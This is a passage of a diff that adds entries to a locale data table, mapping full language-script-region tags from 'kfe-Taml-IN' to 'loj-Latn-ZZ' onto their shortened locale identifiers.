+ "kfe-Taml-IN": "kfe",
+ "kff-Deva-IN": "kff-Deva",
+ "kff-Latn-IN": "kff",
+ "kff-Orya-IN": "kff-Orya",
+ "kff-Telu-IN": "kff-Telu",
+ "kfh-Mlym-IN": "kfh",
+ "kfi-Knda-IN": "kfi-Knda",
+ "kfi-Taml-IN": "kfi",
+ "kfk-Deva-IN": "kfk",
+ "kfk-Takr-IN": "kfk-Takr",
+ "kfl-Latn-CM": "kfl",
+ "kfm-Arab-IR": "kfm",
+ "kfn-Latn-CM": "kfn",
+ "kfo-Latn-CI": "kfo",
+ "kfp-Deva-IN": "kfp",
+ "kfq-Deva-IN": "kfq",
+ "kfr-Deva-IN": "kfr",
+ "kfs-Deva-IN": "kfs",
+ "kfv-Latn-IN": "kfv",
+ "kfw-Latn-IN": "kfw",
+ "kfx-Deva-IN": "kfx",
+ "kfx-Takr-IN": "kfx-Takr",
+ "kfy-Deva-IN": "kfy",
+ "kfz-Latn-BF": "kfz",
+ "kg-Latn-CD": "kg",
+ "kga-Latn-CI": "kga",
+ "kgb-Latn-ID": "kgb",
+ "kge-Latn-ID": "kge",
+ "kgf-Latn-ZZ": "kgf",
+ "kgj-Deva-NP": "kgj",
+ "kgk-Latn-BR": "kgk",
+ "kgl-Latn-AU": "kgl",
+ "kgm-Latn-BR": "kgm",
+ "kgo-Latn-SD": "kgo",
+ "kgp-Latn-BR": "kgp",
+ "kgq-Latn-ID": "kgq",
+ "kgr-Latn-ID": "kgr",
+ "kgs-Latn-AU": "kgs",
+ "kgt-Latn-NG": "kgt",
+ "kgu-Latn-PG": "kgu",
+ "kgv-Latn-ID": "kgv",
+ "kgw-Latn-ID": "kgw",
+ "kgx-Latn-ID": "kgx",
+ "kgy-Deva-NP": "kgy",
+ "kha-Latn-IN": "kha",
+ "khb-Talu-CN": "khb",
+ "khc-Latn-ID": "khc",
+ "khd-Latn-ID": "khd",
+ "khe-Latn-ID": "khe",
+ "khf-Thai-LA": "khf",
+ "khg-Tibt-CN": "khg",
+ "khh-Latn-ID": "khh",
+ "khj-Latn-NG": "khj",
+ "khl-Latn-PG": "khl",
+ "khn-Deva-IN": "khn",
+ "khp-Latn-ID": "khp",
+ "khq-Latn-ML": "khq",
+ "khr-Deva-IN": "khr-Deva",
+ "khr-Latn-IN": "khr",
+ "khs-Latn-ZZ": "khs",
+ "kht-Mymr-IN": "kht",
+ "khu-Latn-AO": "khu",
+ "khv-Cyrl-RU": "khv",
+ "khw-Arab-PK": "khw",
+ "khx-Latn-CD": "khx",
+ "khy-Latn-CD": "khy",
+ "khz-Latn-ZZ": "khz",
+ "ki-Latn-KE": "ki",
+ "kia-Latn-TD": "kia",
+ "kib-Latn-SD": "kib",
+ "kic-Latn-US": "kic",
+ "kid-Latn-CM": "kid",
+ "kie-Latn-TD": "kie",
+ "kif-Deva-NP": "kif",
+ "kig-Latn-ID": "kig",
+ "kih-Latn-PG": "kih",
+ "kij-Latn-ZZ": "kij",
+ "kil-Latn-NG": "kil",
+ "kim-Cyrl-RU": "kim",
+ "kio-Latn-US": "kio",
+ "kip-Deva-NP": "kip",
+ "kiq-Latn-ID": "kiq",
+ "kis-Latn-PG": "kis",
+ "kit-Latn-PG": "kit",
+ "kiu-Latn-TR": "kiu",
+ "kiv-Latn-TZ": "kiv",
+ "kiw-Latn-ZZ": "kiw",
+ "kix-Latn-IN": "kix",
+ "kiy-Latn-ID": "kiy",
+ "kiz-Latn-TZ": "kiz",
+ "kj-Latn-NA": "kj",
+ "kja-Latn-ID": "kja",
+ "kjb-Latn-GT": "kjb",
+ "kjc-Latn-ID": "kjc",
+ "kjd-Latn-ZZ": "kjd",
+ "kje-Latn-ID": "kje",
+ "kjg-Laoo-LA": "kjg",
+ "kjh-Cyrl-RU": "kjh",
+ "kji-Latn-SB": "kji",
+ "kjj-Latn-AZ": "kjj",
+ "kjk-Latn-ID": "kjk",
+ "kjl-Deva-NP": "kjl",
+ "kjm-Latn-VN": "kjm",
+ "kjn-Latn-AU": "kjn",
+ "kjo-Deva-IN": "kjo",
+ "kjp-Mymr-MM": "kjp",
+ "kjp-Thai-TH": "kjp-Thai",
+ "kjq-Latn-US": "kjq",
+ "kjr-Latn-ID": "kjr",
+ "kjs-Latn-ZZ": "kjs",
+ "kjt-Thai-TH": "kjt",
+ "kju-Latn-US": "kju",
+ "kjx-Latn-PG": "kjx",
+ "kjy-Latn-ZZ": "kjy",
+ "kk-Arab-AF": "kk-AF",
+ "kk-Arab-CN": "kk-CN",
+ "kk-Arab-IR": "kk-IR",
+ "kk-Arab-MN": "kk-MN",
+ "kk-Cyrl-KZ": "kk",
+ "kka-Latn-NG": "kka",
+ "kkb-Latn-ID": "kkb",
+ "kkc-Latn-ZZ": "kkc",
+ "kkd-Latn-NG": "kkd",
+ "kke-Arab-GN": "kke-Arab",
+ "kke-Latn-GN": "kke",
+ "kkf-Tibt-IN": "kkf",
+ "kkg-Latn-PH": "kkg",
+ "kkh-Lana-MM": "kkh",
+ "kki-Latn-TZ": "kki",
+ "kkj-Latn-CM": "kkj",
+ "kkk-Latn-SB": "kkk",
+ "kkl-Latn-ID": "kkl",
+ "kkm-Latn-NG": "kkm",
+ "kko-Latn-SD": "kko",
+ "kkp-Latn-AU": "kkp",
+ "kkq-Latn-CD": "kkq",
+ "kkr-Latn-NG": "kkr",
+ "kks-Latn-NG": "kks",
+ "kkt-Deva-NP": "kkt",
+ "kku-Latn-NG": "kku",
+ "kkv-Latn-ID": "kkv",
+ "kkw-Latn-CG": "kkw",
+ "kkx-Latn-ID": "kkx",
+ "kky-Latn-AU": "kky",
+ "kkz-Latn-CA": "kkz",
+ "kl-Latn-GL": "kl",
+ "kla-Latn-US": "kla",
+ "klb-Latn-MX": "klb",
+ "klc-Latn-CM": "klc",
+ "kld-Latn-AU": "kld",
+ "kle-Deva-NP": "kle",
+ "klf-Latn-TD": "klf",
+ "klg-Latn-PH": "klg",
+ "klh-Latn-PG": "klh",
+ "kli-Latn-ID": "kli",
+ "klj-Arab-IR": "klj",
+ "klk-Latn-NG": "klk",
+ "kll-Latn-PH": "kll",
+ "klm-Latn-PG": "klm",
+ "kln-Latn-KE": "kln",
+ "klo-Latn-NG": "klo",
+ "klp-Latn-PG": "klp",
+ "klq-Latn-ZZ": "klq",
+ "klr-Deva-NP": "klr",
+ "kls-Arab-PK": "kls-Arab",
+ "kls-Latn-PK": "kls",
+ "klt-Latn-ZZ": "klt",
+ "klu-Latn-LR": "klu",
+ "klv-Latn-VU": "klv",
+ "klw-Latn-ID": "klw",
+ "klx-Latn-ZZ": "klx",
+ "kly-Latn-ID": "kly",
+ "klz-Latn-ID": "klz",
+ "km-Khmr-KH": "km",
+ "kma-Latn-GH": "kma",
+ "kmb-Latn-AO": "kmb",
+ "kmc-Hani-CN": "kmc-Hani",
+ "kmc-Latn-CN": "kmc",
+ "kmd-Latn-PH": "kmd",
+ "kme-Latn-CM": "kme",
+ "kmf-Latn-PG": "kmf",
+ "kmg-Latn-PG": "kmg",
+ "kmh-Latn-ZZ": "kmh",
+ "kmi-Latn-NG": "kmi",
+ "kmj-Deva-IN": "kmj",
+ "kmk-Latn-PH": "kmk",
+ "kml-Latn-PH": "kml",
+ "kmm-Latn-IN": "kmm",
+ "kmn-Latn-PG": "kmn",
+ "kmo-Latn-ZZ": "kmo",
+ "kmp-Latn-CM": "kmp",
+ "kmq-Latn-ET": "kmq",
+ "kms-Latn-ZZ": "kms",
+ "kmt-Latn-ID": "kmt",
+ "kmu-Latn-ZZ": "kmu",
+ "kmv-Latn-BR": "kmv",
+ "kmw-Latn-ZZ": "kmw",
+ "kmx-Latn-PG": "kmx",
+ "kmy-Latn-NG": "kmy",
+ "kmz-Arab-IR": "kmz",
+ "kn-Knda-IN": "kn",
+ "kna-Latn-NG": "kna",
+ "knb-Latn-PH": "knb",
+ "knd-Latn-ID": "knd",
+ "kne-Latn-PH": "kne",
+ "knf-Latn-GW": "knf",
+ "kni-Latn-NG": "kni",
+ "knj-Latn-GT": "knj",
+ "knk-Arab-SL": "knk-Arab",
+ "knk-Latn-SL": "knk",
+ "knl-Latn-ID": "knl",
+ "knm-Latn-BR": "knm",
+ "kno-Latn-SL": "kno",
+ "knp-Latn-ZZ": "knp",
+ "knq-Latn-MY": "knq",
+ "knr-Latn-PG": "knr",
+ "kns-Latn-MY": "kns",
+ "kns-Thai-TH": "kns-Thai",
+ "knt-Latn-BR": "knt",
+ "knu-Latn-GN": "knu",
+ "knv-Latn-PG": "knv",
+ "knw-Latn-NA": "knw",
+ "knx-Latn-ID": "knx",
+ "kny-Latn-CD": "kny",
+ "knz-Latn-BF": "knz",
+ "ko-Hang-KR": "ko-Hang",
+ "ko-Jamo-KR": "ko-Jamo",
+ "ko-Kore-KP": "ko-KP",
+ "ko-Kore-KR": "ko",
+ "koa-Latn-PG": "koa",
+ "koc-Latn-NG": "koc",
+ "kod-Latn-ID": "kod",
+ "koe-Latn-SS": "koe",
+ "kof-Latn-NG": "kof",
+ "kog-Latn-CO": "kog",
+ "koh-Latn-CG": "koh",
+ "koi-Cyrl-RU": "koi",
+ "kok-Deva-IN": "kok",
+ "kol-Latn-ZZ": "kol",
+ "koo-Latn-UG": "koo",
+ "kop-Latn-PG": "kop",
+ "koq-Latn-GA": "koq",
+ "kos-Latn-FM": "kos",
+ "kot-Latn-CM": "kot",
+ "kou-Latn-TD": "kou",
+ "kov-Latn-NG": "kov",
+ "kow-Latn-NG": "kow",
+ "koy-Latn-US": "koy",
+ "koz-Latn-ZZ": "koz",
+ "kpa-Latn-NG": "kpa",
+ "kpc-Latn-CO": "kpc",
+ "kpd-Latn-ID": "kpd",
+ "kpe-Latn-LR": "kpe",
+ "kpf-Latn-ZZ": "kpf",
+ "kpg-Latn-FM": "kpg",
+ "kph-Latn-GH": "kph",
+ "kpi-Latn-ID": "kpi",
+ "kpj-Latn-BR": "kpj",
+ "kpk-Latn-NG": "kpk",
+ "kpl-Latn-CD": "kpl",
+ "kpm-Latn-VN": "kpm",
+ "kpn-Latn-BR": "kpn",
+ "kpo-Latn-ZZ": "kpo",
+ "kpq-Latn-ID": "kpq",
+ "kpr-Latn-ZZ": "kpr",
+ "kps-Latn-ID": "kps",
+ "kpt-Cyrl-RU": "kpt",
+ "kpu-Latn-ID": "kpu",
+ "kpw-Latn-PG": "kpw",
+ "kpx-Latn-ZZ": "kpx",
+ "kpy-Cyrl-RU": "kpy",
+ "kpz-Latn-UG": "kpz",
+ "kqa-Latn-PG": "kqa",
+ "kqb-Latn-ZZ": "kqb",
+ "kqc-Latn-PG": "kqc",
+ "kqd-Syrc-IQ": "kqd",
+ "kqe-Latn-PH": "kqe",
+ "kqf-Latn-ZZ": "kqf",
+ "kqg-Latn-BF": "kqg",
+ "kqh-Latn-TZ": "kqh",
+ "kqi-Latn-PG": "kqi",
+ "kqj-Latn-PG": "kqj",
+ "kqk-Latn-BJ": "kqk",
+ "kql-Latn-PG": "kql",
+ "kqm-Latn-CI": "kqm",
+ "kqn-Latn-ZM": "kqn",
+ "kqo-Latn-LR": "kqo",
+ "kqp-Latn-TD": "kqp",
+ "kqq-Latn-BR": "kqq",
+ "kqr-Latn-MY": "kqr",
+ "kqs-Latn-ZZ": "kqs",
+ "kqt-Latn-MY": "kqt",
+ "kqu-Latn-ZA": "kqu",
+ "kqv-Latn-ID": "kqv",
+ "kqw-Latn-PG": "kqw",
+ "kqx-Latn-CM": "kqx",
+ "kqy-Ethi-ZZ": "kqy",
+ "kqz-Latn-ZA": "kqz",
+ "kr-Latn-ZZ": "kr",
+ "kra-Deva-NP": "kra",
+ "krb-Latn-US": "krb",
+ "krc-Cyrl-RU": "krc",
+ "krd-Latn-TL": "krd",
+ "kre-Latn-BR": "kre",
+ "krf-Latn-VU": "krf",
+ "krh-Latn-NG": "krh",
+ "kri-Latn-SL": "kri",
+ "krj-Latn-PH": "krj",
+ "krk-Cyrl-RU": "krk",
+ "krl-Latn-RU": "krl",
+ "krn-Latn-LR": "krn",
+ "krp-Latn-NG": "krp",
+ "krr-Khmr-KH": "krr",
+ "krs-Latn-ZZ": "krs",
+ "krt-Latn-NE": "krt",
+ "kru-Deva-IN": "kru",
+ "krv-Khmr-KH": "krv",
+ "krw-Latn-LR": "krw",
+ "krx-Latn-SN": "krx",
+ "kry-Latn-AZ": "kry",
+ "krz-Latn-ID": "krz",
+ "ks-Arab-IN": "ks",
+ "ksa-Latn-NG": "ksa",
+ "ksb-Latn-TZ": "ksb",
+ "ksc-Latn-PH": "ksc",
+ "ksd-Latn-ZZ": "ksd",
+ "kse-Latn-PG": "kse",
+ "ksf-Latn-CM": "ksf",
+ "ksg-Latn-SB": "ksg",
+ "ksh-Latn-DE": "ksh",
+ "ksi-Latn-PG": "ksi",
+ "ksj-Latn-ZZ": "ksj",
+ "ksk-Latn-US": "ksk",
+ "ksl-Latn-PG": "ksl",
+ "ksm-Latn-NG": "ksm",
+ "ksn-Latn-PH": "ksn",
+ "kso-Latn-NG": "kso",
+ "ksp-Latn-CF": "ksp",
+ "ksq-Latn-NG": "ksq",
+ "ksr-Latn-ZZ": "ksr",
+ "kss-Latn-LR": "kss",
+ "kst-Latn-BF": "kst",
+ "ksu-Mymr-IN": "ksu",
+ "ksv-Latn-CD": "ksv",
+ "ksw-Latn-MM": "ksw-Latn",
+ "ksw-Mymr-MM": "ksw",
+ "ksx-Latn-ID": "ksx",
+ "ksz-Deva-IN": "ksz",
+ "kta-Latn-VN": "kta",
+ "ktb-Ethi-ZZ": "ktb",
+ "ktc-Latn-NG": "ktc",
+ "ktd-Latn-AU": "ktd",
+ "ktf-Latn-CD": "ktf",
+ "ktg-Latn-AU": "ktg",
+ "kth-Latn-TD": "kth",
+ "kti-Latn-ID": "kti",
+ "ktj-Latn-CI": "ktj",
+ "ktk-Latn-PG": "ktk",
+ "ktl-Arab-IR": "ktl",
+ "ktm-Latn-ZZ": "ktm",
+ "ktn-Latn-BR": "ktn",
+ "kto-Latn-ZZ": "kto",
+ "ktp-Plrd-CN": "ktp",
+ "ktq-Latn-PH": "ktq",
+ "kts-Latn-ID": "kts",
+ "ktt-Latn-ID": "ktt",
+ "ktu-Latn-CD": "ktu",
+ "ktv-Latn-VN": "ktv",
+ "ktw-Latn-US": "ktw",
+ "ktx-Latn-BR": "ktx",
+ "kty-Latn-CD": "kty",
+ "ktz-Latn-NA": "ktz",
+ "ku-Arab-IQ": "ku-Arab",
+ "ku-Arab-LB": "ku-LB",
+ "ku-Latn-AM": "ku-AM",
+ "ku-Latn-GE": "ku-GE",
+ "ku-Latn-TR": "ku",
+ "ku-Yezi-GE": "ku-Yezi",
+ "kub-Latn-ZZ": "kub",
+ "kuc-Latn-ID": "kuc",
+ "kud-Latn-ZZ": "kud",
+ "kue-Latn-ZZ": "kue",
+ "kuf-Laoo-LA": "kuf",
+ "kug-Latn-NG": "kug",
+ "kuh-Latn-NG": "kuh",
+ "kui-Latn-BR": "kui",
+ "kuj-Latn-ZZ": "kuj",
+ "kuk-Latn-ID": "kuk",
+ "kul-Latn-NG": "kul",
+ "kum-Cyrl-RU": "kum",
+ "kun-Latn-ZZ": "kun",
+ "kuo-Latn-PG": "kuo",
+ "kup-Latn-ZZ": "kup",
+ "kuq-Latn-BR": "kuq",
+ "kus-Latn-ZZ": "kus",
+ "kut-Latn-CA": "kut",
+ "kuu-Latn-US": "kuu",
+ "kuv-Latn-ID": "kuv",
+ "kuw-Latn-CF": "kuw",
+ "kux-Latn-AU": "kux",
+ "kuy-Latn-AU": "kuy",
+ "kuz-Latn-CL": "kuz",
+ "kv-Cyrl-RU": "kv",
+ "kv-Perm-RU": "kv-Perm",
+ "kva-Cyrl-RU": "kva",
+ "kvb-Latn-ID": "kvb",
+ "kvc-Latn-PG": "kvc",
+ "kvd-Latn-ID": "kvd",
+ "kve-Latn-MY": "kve",
+ "kvf-Latn-TD": "kvf",
+ "kvg-Latn-ZZ": "kvg",
+ "kvh-Latn-ID": "kvh",
+ "kvi-Latn-TD": "kvi",
+ "kvj-Latn-CM": "kvj",
+ "kvl-Latn-MM": "kvl",
+ "kvm-Latn-CM": "kvm",
+ "kvn-Latn-CO": "kvn",
+ "kvo-Latn-ID": "kvo",
+ "kvp-Latn-ID": "kvp",
+ "kvq-Latn-MM": "kvq-Latn",
+ "kvq-Mymr-MM": "kvq",
+ "kvr-Latn-ID": "kvr",
+ "kvt-Mymr-MM": "kvt",
+ "kvv-Latn-ID": "kvv",
+ "kvw-Latn-ID": "kvw",
+ "kvx-Arab-PK": "kvx",
+ "kvy-Kali-MM": "kvy",
+ "kvz-Latn-ID": "kvz",
+ "kw-Latn-GB": "kw",
+ "kwa-Latn-BR": "kwa",
+ "kwb-Latn-NG": "kwb",
+ "kwc-Latn-CG": "kwc",
+ "kwd-Latn-SB": "kwd",
+ "kwe-Latn-ID": "kwe",
+ "kwf-Latn-SB": "kwf",
+ "kwg-Latn-TD": "kwg",
+ "kwh-Latn-ID": "kwh",
+ "kwi-Latn-CO": "kwi",
+ "kwj-Latn-ZZ": "kwj",
+ "kwk-Latn-CA": "kwk",
+ "kwl-Latn-NG": "kwl",
+ "kwm-Latn-NA": "kwm",
+ "kwn-Latn-NA": "kwn",
+ "kwo-Latn-ZZ": "kwo",
+ "kwp-Latn-CI": "kwp",
+ "kwr-Latn-ID": "kwr",
+ "kws-Latn-CD": "kws",
+ "kwt-Latn-ID": "kwt",
+ "kwu-Latn-CM": "kwu",
+ "kwv-Latn-TD": "kwv",
+ "kww-Latn-SR": "kww",
+ "kwy-Latn-CD": "kwy",
+ "kwz-Latn-AO": "kwz",
+ "kxa-Latn-ZZ": "kxa",
+ "kxb-Latn-CI": "kxb",
+ "kxc-Ethi-ZZ": "kxc",
+ "kxd-Arab-BN": "kxd-Arab",
+ "kxd-Latn-BN": "kxd",
+ "kxf-Latn-MM": "kxf-Latn",
+ "kxf-Mymr-MM": "kxf",
+ "kxi-Latn-MY": "kxi",
+ "kxj-Latn-TD": "kxj",
+ "kxk-Mymr-MM": "kxk",
+ "kxm-Thai-TH": "kxm",
+ "kxn-Latn-MY": "kxn",
+ "kxo-Latn-BR": "kxo",
+ "kxp-Arab-PK": "kxp",
+ "kxq-Latn-ID": "kxq",
+ "kxr-Latn-PG": "kxr",
+ "kxt-Latn-PG": "kxt",
+ "kxv-Latn-IN": "kxv-Latn",
+ "kxv-Orya-IN": "kxv",
+ "kxv-Telu-IN": "kxv-Telu",
+ "kxw-Latn-ZZ": "kxw",
+ "kxx-Latn-CG": "kxx",
+ "kxy-Latn-VN": "kxy",
+ "kxz-Latn-ZZ": "kxz",
+ "ky-Arab-CN": "ky-CN",
+ "ky-Cyrl-KG": "ky",
+ "ky-Latn-TR": "ky-TR",
+ "kya-Latn-TZ": "kya",
+ "kyb-Latn-PH": "kyb",
+ "kyc-Latn-PG": "kyc",
+ "kyd-Latn-ID": "kyd",
+ "kye-Latn-ZZ": "kye",
+ "kyf-Latn-CI": "kyf",
+ "kyg-Latn-PG": "kyg",
+ "kyh-Latn-US": "kyh",
+ "kyi-Latn-MY": "kyi",
+ "kyj-Latn-PH": "kyj",
+ "kyk-Latn-PH": "kyk",
+ "kyl-Latn-US": "kyl",
+ "kym-Latn-CF": "kym",
+ "kyn-Latn-PH": "kyn",
+ "kyo-Latn-ID": "kyo",
+ "kyq-Latn-TD": "kyq",
+ "kyr-Latn-BR": "kyr",
+ "kys-Latn-MY": "kys",
+ "kyt-Latn-ID": "kyt",
+ "kyu-Kali-MM": "kyu",
+ "kyu-Latn-MM": "kyu-Latn",
+ "kyu-Mymr-MM": "kyu-Mymr",
+ "kyv-Deva-NP": "kyv",
+ "kyw-Beng-IN": "kyw-Beng",
+ "kyw-Deva-IN": "kyw",
+ "kyw-Orya-IN": "kyw-Orya",
+ "kyx-Latn-ZZ": "kyx",
+ "kyy-Latn-PG": "kyy",
+ "kyz-Latn-BR": "kyz",
+ "kza-Latn-BF": "kza",
+ "kzb-Latn-ID": "kzb",
+ "kzc-Latn-CI": "kzc",
+ "kzd-Latn-ID": "kzd",
+ "kze-Latn-PG": "kze",
+ "kzf-Latn-ID": "kzf",
+ "kzi-Latn-MY": "kzi",
+ "kzk-Latn-SB": "kzk",
+ "kzl-Latn-ID": "kzl",
+ "kzm-Latn-ID": "kzm",
+ "kzn-Latn-MW": "kzn",
+ "kzo-Latn-GA": "kzo",
+ "kzp-Latn-ID": "kzp",
+ "kzr-Latn-ZZ": "kzr",
+ "kzs-Latn-MY": "kzs",
+ "kzu-Latn-ID": "kzu",
+ "kzv-Latn-ID": "kzv",
+ "kzw-Latn-BR": "kzw",
+ "kzx-Latn-ID": "kzx",
+ "kzy-Latn-CD": "kzy",
+ "kzz-Latn-ID": "kzz",
+ "la-Latn-VA": "la",
+ "laa-Latn-PH": "laa",
+ "lab-Lina-GR": "lab",
+ "lac-Latn-MX": "lac",
+ "lad-Hebr-IL": "lad",
+ "lae-Deva-IN": "lae",
+ "lae-Tibt-IN": "lae-Tibt",
+ "lag-Latn-TZ": "lag",
+ "lah-Arab-PK": "lah",
+ "lai-Latn-MW": "lai",
+ "laj-Latn-UG": "laj",
+ "lal-Latn-CD": "lal",
+ "lam-Latn-ZM": "lam",
+ "lan-Latn-NG": "lan",
+ "lap-Latn-TD": "lap",
+ "laq-Latn-VN": "laq",
+ "lar-Latn-GH": "lar",
+ "las-Latn-ZZ": "las",
+ "lau-Latn-ID": "lau",
+ "law-Latn-ID": "law",
+ "lax-Beng-IN": "lax-Beng",
+ "lax-Latn-IN": "lax",
+ "laz-Latn-PG": "laz",
+ "lb-Latn-LU": "lb",
+ "lbb-Latn-PG": "lbb",
+ "lbc-Lisu-CN": "lbc",
+ "lbe-Cyrl-RU": "lbe",
+ "lbf-Deva-IN": "lbf",
+ "lbf-Tibt-CN": "lbf-Tibt",
+ "lbi-Latn-CM": "lbi",
+ "lbj-Arab-IN": "lbj-Arab",
+ "lbj-Tibt-IN": "lbj",
+ "lbl-Latn-PH": "lbl",
+ "lbm-Deva-IN": "lbm",
+ "lbn-Laoo-LA": "lbn-Laoo",
+ "lbn-Latn-LA": "lbn",
+ "lbo-Laoo-LA": "lbo",
+ "lbo-Latn-US": "lbo-Latn",
+ "lbq-Latn-PG": "lbq",
+ "lbr-Deva-NP": "lbr",
+ "lbt-Latn-VN": "lbt",
+ "lbu-Latn-ZZ": "lbu",
+ "lbv-Latn-PG": "lbv",
+ "lbw-Latn-ID": "lbw",
+ "lbx-Latn-ID": "lbx",
+ "lby-Latn-AU": "lby",
+ "lbz-Latn-AU": "lbz",
+ "lcc-Latn-ID": "lcc",
+ "lcd-Latn-ID": "lcd",
+ "lce-Latn-ID": "lce",
+ "lcf-Latn-ID": "lcf",
+ "lch-Latn-AO": "lch",
+ "lcl-Latn-ID": "lcl",
+ "lcm-Latn-ZZ": "lcm",
+ "lcp-Thai-CN": "lcp",
+ "lcq-Latn-ID": "lcq",
+ "lcs-Latn-ID": "lcs",
+ "lda-Latn-CI": "lda",
+ "ldb-Latn-ZZ": "ldb",
+ "ldd-Latn-NG": "ldd",
+ "ldg-Latn-NG": "ldg",
+ "ldh-Latn-NG": "ldh",
+ "ldi-Latn-CG": "ldi",
+ "ldj-Latn-NG": "ldj",
+ "ldk-Latn-NG": "ldk",
+ "ldl-Latn-NG": "ldl",
+ "ldm-Latn-GN": "ldm",
+ "ldn-Latn-001": "ldn",
+ "ldo-Latn-NG": "ldo",
+ "ldp-Latn-NG": "ldp",
+ "ldq-Latn-NG": "ldq",
+ "lea-Latn-CD": "lea",
+ "leb-Latn-ZM": "leb",
+ "lec-Latn-BO": "lec",
+ "led-Latn-ZZ": "led",
+ "lee-Latn-ZZ": "lee",
+ "lef-Latn-GH": "lef",
+ "leh-Latn-ZM": "leh",
+ "lei-Latn-PG": "lei",
+ "lej-Latn-CD": "lej",
+ "lek-Latn-PG": "lek",
+ "lel-Latn-CD": "lel",
+ "lem-Latn-ZZ": "lem",
+ "len-Latn-HN": "len",
+ "leo-Latn-CM": "leo",
+ "lep-Lepc-IN": "lep",
+ "leq-Latn-ZZ": "leq",
+ "ler-Latn-PG": "ler",
+ "les-Latn-CD": "les",
+ "let-Latn-PG": "let",
+ "leu-Latn-ZZ": "leu",
+ "lev-Latn-ID": "lev",
+ "lew-Latn-ID": "lew",
+ "lex-Latn-ID": "lex",
+ "ley-Latn-ID": "ley",
+ "lez-Cyrl-RU": "lez",
+ "lfa-Latn-CM": "lfa",
+ "lfn-Cyrl-001": "lfn-Cyrl",
+ "lfn-Latn-001": "lfn",
+ "lg-Latn-UG": "lg",
+ "lga-Latn-SB": "lga",
+ "lgb-Latn-SB": "lgb",
+ "lgg-Latn-ZZ": "lgg",
+ "lgh-Latn-VN": "lgh",
+ "lgi-Latn-ID": "lgi",
+ "lgk-Latn-VU": "lgk",
+ "lgl-Latn-SB": "lgl",
+ "lgm-Latn-CD": "lgm",
+ "lgn-Latn-ET": "lgn",
+ "lgo-Latn-SS": "lgo",
+ "lgq-Latn-GH": "lgq",
+ "lgr-Latn-SB": "lgr",
+ "lgt-Latn-PG": "lgt",
+ "lgu-Latn-SB": "lgu",
+ "lgz-Latn-CD": "lgz",
+ "lha-Latn-VN": "lha",
+ "lhh-Latn-ID": "lhh",
+ "lhi-Latn-CN": "lhi",
+ "lhm-Deva-NP": "lhm",
+ "lhn-Latn-MY": "lhn",
+ "lhs-Syrc-SY": "lhs",
+ "lht-Latn-VU": "lht",
+ "lhu-Latn-CN": "lhu",
+ "li-Latn-NL": "li",
+ "lia-Latn-ZZ": "lia",
+ "lib-Latn-PG": "lib",
+ "lic-Latn-CN": "lic",
+ "lid-Latn-ZZ": "lid",
+ "lie-Latn-CD": "lie",
+ "lif-Deva-NP": "lif",
+ "lif-Limb-IN": "lif-Limb",
+ "lig-Latn-ZZ": "lig",
+ "lih-Latn-ZZ": "lih",
+ "lij-Latn-IT": "lij",
+ "lik-Latn-CD": "lik",
+ "lil-Latn-CA": "lil",
+ "lio-Latn-ID": "lio",
+ "lip-Latn-GH": "lip",
+ "liq-Latn-ET": "liq",
+ "lir-Latn-LR": "lir",
+ "lis-Lisu-CN": "lis",
+ "liu-Latn-SD": "liu",
+ "liv-Latn-LV": "liv",
+ "liw-Latn-ID": "liw",
+ "lix-Latn-ID": "lix",
+ "liy-Latn-CF": "liy",
+ "liz-Latn-CD": "liz",
+ "lja-Latn-AU": "lja",
+ "lje-Latn-ID": "lje",
+ "lji-Latn-ID": "lji",
+ "ljl-Latn-ID": "ljl",
+ "ljp-Latn-ID": "ljp",
+ "ljw-Latn-AU": "ljw",
+ "ljx-Latn-AU": "ljx",
+ "lka-Latn-TL": "lka",
+ "lkb-Latn-KE": "lkb",
+ "lkc-Latn-VN": "lkc",
+ "lkd-Latn-BR": "lkd",
+ "lke-Latn-UG": "lke",
+ "lkh-Tibt-BT": "lkh",
+ "lki-Arab-IR": "lki",
+ "lkj-Latn-MY": "lkj",
+ "lkl-Latn-PG": "lkl",
+ "lkm-Latn-AU": "lkm",
+ "lkn-Latn-VU": "lkn",
+ "lko-Latn-KE": "lko",
+ "lkr-Latn-SS": "lkr",
+ "lks-Latn-KE": "lks",
+ "lkt-Latn-US": "lkt",
+ "lku-Latn-AU": "lku",
+ "lky-Latn-SS": "lky",
+ "lla-Latn-NG": "lla",
+ "llb-Latn-MZ": "llb",
+ "llc-Latn-GN": "llc",
+ "lld-Latn-IT": "lld",
+ "lle-Latn-ZZ": "lle",
+ "llf-Latn-PG": "llf",
+ "llg-Latn-ID": "llg",
+ "lli-Latn-CG": "lli",
+ "llj-Latn-AU": "llj",
+ "llk-Latn-MY": "llk",
+ "lll-Latn-PG": "lll",
+ "llm-Latn-ID": "llm",
+ "lln-Latn-ZZ": "lln",
+ "llp-Latn-VU": "llp",
+ "llq-Latn-ID": "llq",
+ "llu-Latn-SB": "llu",
+ "llx-Latn-FJ": "llx",
+ "lma-Latn-GN": "lma",
+ "lmb-Latn-VU": "lmb",
+ "lmc-Latn-AU": "lmc",
+ "lmd-Latn-SD": "lmd",
+ "lme-Latn-TD": "lme",
+ "lmf-Latn-ID": "lmf",
+ "lmg-Latn-PG": "lmg",
+ "lmh-Deva-NP": "lmh",
+ "lmi-Latn-CD": "lmi",
+ "lmj-Latn-ID": "lmj",
+ "lmk-Latn-IN": "lmk",
+ "lmk-Mymr-IN": "lmk-Mymr",
+ "lml-Latn-VU": "lml",
+ "lmn-Telu-IN": "lmn",
+ "lmo-Latn-IT": "lmo",
+ "lmp-Latn-ZZ": "lmp",
+ "lmq-Latn-ID": "lmq",
+ "lmr-Latn-ID": "lmr",
+ "lmu-Latn-VU": "lmu",
+ "lmv-Latn-FJ": "lmv",
+ "lmw-Latn-US": "lmw",
+ "lmx-Latn-CM": "lmx",
+ "lmy-Latn-ID": "lmy",
+ "ln-Latn-CD": "ln",
+ "lna-Latn-CF": "lna",
+ "lnb-Latn-NA": "lnb",
+ "lnd-Latn-ID": "lnd",
+ "lnh-Latn-MY": "lnh",
+ "lni-Latn-PG": "lni",
+ "lnj-Latn-AU": "lnj",
+ "lnl-Latn-CF": "lnl",
+ "lnm-Latn-PG": "lnm",
+ "lnn-Latn-VU": "lnn",
+ "lns-Latn-ZZ": "lns",
+ "lnu-Latn-ZZ": "lnu",
+ "lnw-Latn-AU": "lnw",
+ "lnz-Latn-CD": "lnz",
+ "lo-Laoo-LA": "lo",
+ "loa-Latn-ID": "loa",
+ "lob-Latn-BF": "lob",
+ "loc-Latn-PH": "loc",
+ "loe-Latn-ID": "loe",
+ "log-Latn-CD": "log",
+ "loh-Latn-SS": "loh",
+ "loi-Latn-CI": "loi",
+ "loj-Latn-ZZ": "loj",
